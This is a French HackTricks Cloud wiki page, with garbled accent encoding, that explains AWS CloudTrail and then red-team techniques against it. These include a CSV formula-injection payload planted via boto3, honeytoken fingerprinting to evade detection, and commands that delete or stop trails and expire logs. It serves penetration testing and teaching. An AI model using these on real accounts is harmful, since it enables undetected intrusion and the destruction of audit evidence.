AWS - CloudTrail Enum
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
CloudTrail
AWS CloudTrail enregistre et surveille lâactivitĂ© au sein de votre environnement AWS. Il capture des journaux dâĂ©vĂ©nements dĂ©taillĂ©s, y compris qui a fait quoi, quand et dâoĂč, pour toutes les interactions avec les ressources AWS. Cela fournit une piste dâaudit des changements et des actions, aidant Ă lâanalyse de sĂ©curitĂ©, Ă lâaudit de conformitĂ© et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, amĂ©liorer les postures de sĂ©curitĂ© et garantir la conformitĂ© rĂ©glementaire.
Chaque événement enregistré contient :
- Le nom de lâAPI appelĂ©e :
eventName - Le service appelé :
eventSource - Lâheure :
eventTime - Lâadresse IP :
SourceIPAddress - La mĂ©thode de lâagent :
userAgent. Exemples : - Signing.amazonaws.com - Depuis la console de gestion AWS
- console.amazonaws.com - Utilisateur root du compte
- lambda.amazonaws.com - AWS Lambda
- Les paramĂštres de la requĂȘte :
requestParameters - Les éléments de la réponse :
responseElements
Les événements sont écrits dans un nouveau fichier journal environ toutes les 5 minutes dans un fichier JSON, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont livrés à S3 environ 15 minutes aprÚs.
Les journaux de CloudTrail peuvent ĂȘtre agrĂ©gĂ©s Ă travers les comptes et les rĂ©gions.
CloudTrail permet dâutiliser lâintĂ©gritĂ© des fichiers journaux afin de pouvoir vĂ©rifier que vos fichiers journaux sont restĂ©s inchangĂ©s depuis que CloudTrail vous les a livrĂ©s. Il crĂ©e un hachage SHA-256 des journaux Ă lâintĂ©rieur dâun fichier de rĂ©sumĂ©. Un hachage sha-256 des nouveaux journaux est créé chaque heure.
Lors de la crĂ©ation dâun Trail, les sĂ©lecteurs dâĂ©vĂ©nements vous permettront dâindiquer le type dâĂ©vĂ©nements Ă enregistrer : Ă©vĂ©nements de gestion, de donnĂ©es ou dâinformations.
Les journaux sont sauvegardés dans un bucket S3. Par défaut, le chiffrement cÎté serveur est utilisé (SSE-S3) donc AWS déchiffrera le contenu pour les personnes qui y ont accÚs, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.
Les journaux sont stockés dans un bucket S3 avec ce format de nom :
BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD- Le BucketName étant :
aws-cloudtrail-logs-<accountid>-<random> - Exemple :
aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/
Ă lâintĂ©rieur de chaque dossier, chaque journal aura un nom suivant ce format : AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz
Convention de nommage des fichiers journaux
.png)
De plus, les fichiers de rĂ©sumĂ© (pour vĂ©rifier lâintĂ©gritĂ© des fichiers) seront Ă lâintĂ©rieur du mĂȘme bucket dans :
.png)
Agréger les journaux de plusieurs comptes
- CrĂ©ez un Trail dans le compte AWS oĂč vous souhaitez que les fichiers journaux soient livrĂ©s
- Appliquez des autorisations au bucket S3 de destination permettant lâaccĂšs inter-comptes pour CloudTrail et autorisez chaque compte AWS qui a besoin dâaccĂšs
- CrĂ©ez un nouveau Trail dans les autres comptes AWS et sĂ©lectionnez dâutiliser le bucket créé Ă lâĂ©tape 1
Cependant, mĂȘme si vous pouvez sauvegarder tous les journaux dans le mĂȘme bucket S3, vous ne pouvez pas agrĂ©ger les journaux CloudTrail de plusieurs comptes dans des journaux CloudWatch appartenant Ă un seul compte AWS.
Caution
Nâoubliez pas quâun compte peut avoir diffĂ©rents Trails de CloudTrail activĂ©s stockant les mĂȘmes (ou diffĂ©rents) journaux dans diffĂ©rents buckets.
CloudTrail de tous les comptes dâorganisation en 1
Lors de la crĂ©ation dâun CloudTrail, il est possible dâindiquer dâactiver CloudTrail pour tous les comptes de lâorganisation et de rĂ©cupĂ©rer les journaux dans un seul bucket :
.png)
De cette maniÚre, vous pouvez facilement configurer CloudTrail dans toutes les régions de tous les comptes et centraliser les journaux dans 1 compte (que vous devez protéger).
Vérification des fichiers journaux
Vous pouvez vĂ©rifier que les journaux nâont pas Ă©tĂ© altĂ©rĂ©s en exĂ©cutant
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Logs to CloudWatch
CloudTrail peut automatiquement envoyer des journaux à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées.
Notez que pour permettre Ă CloudTrail dâenvoyer les journaux Ă CloudWatch, un rĂŽle doit ĂȘtre créé pour autoriser cette action. Si possible, il est recommandĂ© dâutiliser le rĂŽle par dĂ©faut dâAWS pour effectuer ces actions. Ce rĂŽle permettra Ă CloudTrail de :
- CreateLogStream : Cela permet de créer des flux de journaux CloudWatch Logs
- PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch Logs
Event History
Lâhistorique des Ă©vĂ©nements CloudTrail vous permet dâinspecter dans un tableau les journaux qui ont Ă©tĂ© enregistrĂ©s :
.png)
Insights
CloudTrail Insights analyse automatiquement les Ă©vĂ©nements de gestion dâĂ©criture des pistes CloudTrail et vous alerte sur des activitĂ©s inhabituelles. Par exemple, sâil y a une augmentation des Ă©vĂ©nements TerminateInstance qui diffĂšre des bases Ă©tablies, vous le verrez comme un Ă©vĂ©nement Insight. Ces Ă©vĂ©nements facilitent la recherche et la rĂ©ponse Ă des activitĂ©s API inhabituelles comme jamais auparavant.
Les insights sont stockĂ©s dans le mĂȘme bucket que les journaux CloudTrail dans : BucketName/AWSLogs/AccountID/CloudTrail-Insight
Security
| Control Name | Implementation Details |
|---|---|
| CloudTrail Log File Integrity |
|
| Stop unauthorized access |
|
| Prevent log files from being deleted |
|
Access Advisor
AWS Access Advisor sâappuie sur les 400 derniers jours de journaux CloudTrail AWS pour rassembler ses insights. CloudTrail capture un historique des appels API AWS et des Ă©vĂ©nements connexes effectuĂ©s dans un compte AWS. Access Advisor utilise ces donnĂ©es pour montrer quand les services ont Ă©tĂ© accĂ©dĂ©s pour la derniĂšre fois. En analysant les journaux CloudTrail, Access Advisor peut dĂ©terminer quels services AWS un utilisateur ou un rĂŽle IAM a accĂ©dĂ©s et quand cet accĂšs a eu lieu. Cela aide les administrateurs AWS Ă prendre des dĂ©cisions Ă©clairĂ©es sur lâaffinement des autorisations, car ils peuvent identifier les services qui nâont pas Ă©tĂ© accĂ©dĂ©s pendant de longues pĂ©riodes et potentiellement rĂ©duire des autorisations trop larges en fonction des modĂšles dâutilisation rĂ©els.
Tip
Par consĂ©quent, Access Advisor informe sur les autorisations inutiles accordĂ©es aux utilisateurs afin que lâadministrateur puisse les supprimer
.png)
Actions
Enumeration
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
Injection CSV
Il est possible dâeffectuer une injection CSV dans CloudTrail qui exĂ©cutera du code arbitraire si les journaux sont exportĂ©s en CSV et ouverts avec Excel.
Le code suivant générera une entrée de journal avec un mauvais nom de Trail contenant la charge utile :
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
Pour plus dâinformations sur les injections CSV, consultez la page :
Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
Pour plus dâinformations sur cette technique spĂ©cifique, consultez https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/
Contourner la Détection
Bypass des HoneyTokens
Les Honeytokens sont créés pour dĂ©tecter lâexfiltration dâinformations sensibles. Dans le cas dâAWS, ce sont des clĂ©s AWS dont lâutilisation est surveillĂ©e ; si quelque chose dĂ©clenche une action avec cette clĂ©, alors quelquâun doit avoir volĂ© cette clĂ©.
Cependant, les Honeytokens comme ceux créés par Canarytokens, SpaceCrab, SpaceSiren utilisent soit un nom de compte reconnaissable, soit le mĂȘme ID de compte AWS pour tous leurs clients. Par consĂ©quent, si vous pouvez obtenir le nom du compte et/ou lâID du compte sans faire crĂ©er de journal par Cloudtrail, vous pourriez savoir si la clĂ© est un honeytoken ou non.
Pacu a quelques rÚgles pour détecter si une clé appartient à Canarytokens, SpaceCrab, SpaceSiren:
- Si
canarytokens.orgapparaĂźt dans le nom du rĂŽle ou si lâID de compte534261010715apparaĂźt dans le message dâerreur. - En les testant plus rĂ©cemment, ils utilisent le compte
717712589309et ont toujours la chaĂźnecanarytokens.comdans le nom. - Si
SpaceCrabapparaĂźt dans le nom du rĂŽle dans le message dâerreur. - SpaceSiren utilise des uuids pour gĂ©nĂ©rer des noms dâutilisateur :
[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12} - Si le nom semble aléatoirement généré, il y a de fortes probabilités que ce soit un HoneyToken.
Obtenir lâID de compte Ă partir de lâID de clĂ©
Vous pouvez obtenir lâID de compte Ă partir de lâencodage Ă lâintĂ©rieur de la clĂ© dâaccĂšs comme expliquĂ© ici et vĂ©rifier lâID de compte avec votre liste de comptes Honeytokens AWS :
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
VĂ©rifiez plus dâinformations dans la recherche originale.
Ne pas générer de journal
La technique la plus efficace pour cela est en fait une simple. Utilisez simplement la clĂ© que vous venez de trouver pour accĂ©der Ă un service dans votre propre compte dâattaquant. Cela fera en sorte que CloudTrail gĂ©nĂšre un journal dans VOTRE PROPRE compte AWS et non dans celui des victimes.
Le fait est que la sortie vous montrera une erreur indiquant lâID du compte et le nom du compte, donc vous pourrez voir si câest un Honeytoken.
Services AWS sans journaux
Dans le passĂ©, il y avait certains services AWS qui nâenvoient pas de journaux Ă CloudTrail (trouvez une liste ici). Certains de ces services rĂ©pondront avec une erreur contenant lâARN du rĂŽle clĂ© si quelquâun non autorisĂ© (la clĂ© honeytoken) essaie dây accĂ©der.
De cette maniĂšre, un attaquant peut obtenir lâARN de la clĂ© sans dĂ©clencher aucun journal. Dans lâARN, lâattaquant peut voir lâID du compte AWS et le nom, il est facile de connaĂźtre lâID et les noms des comptes des entreprises du HoneyToken, ainsi un attaquant peut identifier si le token est un HoneyToken.
.png)
Caution
Notez que toutes les API publiques dĂ©couvertes ne crĂ©ant pas de journaux CloudTrail sont maintenant corrigĂ©es, donc vous devrez peut-ĂȘtre trouver les vĂŽtresâŠ
Pour plus dâinformations, consultez la recherche originale.
Accéder à une infrastructure tierce
Certains services AWS gĂ©nĂ©reront une infrastructure telle que des bases de donnĂ©es ou des clusters Kubernetes (EKS). Un utilisateur parlant directement Ă ces services (comme lâAPI Kubernetes) nâutilisera pas lâAPI AWS, donc CloudTrail ne pourra pas voir cette communication.
Par consĂ©quent, un utilisateur ayant accĂšs Ă EKS qui a dĂ©couvert lâURL de lâAPI EKS pourrait gĂ©nĂ©rer un token localement et parler directement au service API sans ĂȘtre dĂ©tectĂ© par CloudTrail.
Plus dâinfos dans :
Modification de la configuration de CloudTrail
Supprimer des pistes
aws cloudtrail delete-trail --name [trail-name]
ArrĂȘter les pistes
aws cloudtrail stop-logging --name [trail-name]
Désactiver la journalisation multi-région
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
DĂ©sactiver la journalisation par sĂ©lecteurs dâĂ©vĂ©nements
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
Dans le premier exemple, un seul sĂ©lecteur dâĂ©vĂ©nements est fourni sous forme de tableau JSON avec un seul objet. Le "ReadWriteType": "ReadOnly" indique que le sĂ©lecteur dâĂ©vĂ©nements ne doit capturer que des Ă©vĂ©nements en lecture seule (donc les insights de CloudTrail ne vĂ©rifieront pas les Ă©vĂ©nements dâĂ©criture par exemple).
Vous pouvez personnaliser le sĂ©lecteur dâĂ©vĂ©nements en fonction de vos exigences spĂ©cifiques.
Suppression des journaux via la politique de cycle de vie S3
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
Modification de la configuration du bucket
- Supprimer le bucket S3
- Changer la politique du bucket pour interdire toute écriture du service CloudTrail
- Ajouter une politique de cycle de vie au bucket S3 pour supprimer des objets
- Désactiver la clé KMS utilisée pour chiffrer les journaux CloudTrail
Ransomware Cloudtrail
Ransomware S3
Vous pourriez gĂ©nĂ©rer une clĂ© asymĂ©trique et faire en sorte que CloudTrail chiffre les donnĂ©es avec cette clĂ© et supprimer la clĂ© privĂ©e afin que le contenu de CloudTrail ne puisse pas ĂȘtre rĂ©cupĂ©rĂ©.
Câest essentiellement un ransomware S3-KMS expliquĂ© dans :
Ransomware KMS
Câest la maniĂšre la plus simple dâeffectuer lâattaque prĂ©cĂ©dente avec des exigences de permissions diffĂ©rentes :
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

